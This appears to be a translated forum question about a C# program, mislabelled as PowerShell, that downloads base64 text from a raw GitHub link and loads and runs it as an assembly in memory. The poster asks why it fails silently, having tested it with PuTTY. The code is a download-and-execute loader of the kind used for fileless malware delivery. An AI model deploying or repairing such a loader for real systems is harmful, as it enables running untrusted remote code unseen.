Я тестирую скрипт powershell для загрузки и выполнения base64 из памяти, но по какой-то причине он не работает
Если я его выполняю, ничего не происходит, даже сообщение об ошибке
Сценарий вызывает Необработанный контент с raw.githubusercontent.com/… декодирует и запускает его из памяти
Код
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;
namespace Invoker
{
class Program
{
public static string Link = "Base64 Encoded Program Text Put Into a Raw Link";
static void Main(string[] args)
{
Thread thread = new Thread(Execute);
thread.Start();
Environment.Exit(0);
}
static void Execute()
{
byte[] bytes = Convert.FromBase64String(new WebClient().DownloadString(Link));
if (bytes.Length > 0)
{
try
{
Assembly assembly = Assembly.Load(bytes);
object[] paramData = null;
if (assembly.EntryPoint.GetParameters().Length > 0)
paramData = new object[] { new string[] { null } };
MethodInfo info = assembly.EntryPoint;
assembly.EntryPoint.Invoke(assembly.CreateInstance(info.Name), paramData);
}
catch { } .
}
}
}
}
Программа, которую я тестирую, - замазка, но я хотел бы использовать ее с любой программой.
Что мне здесь не хватает?
Спасибо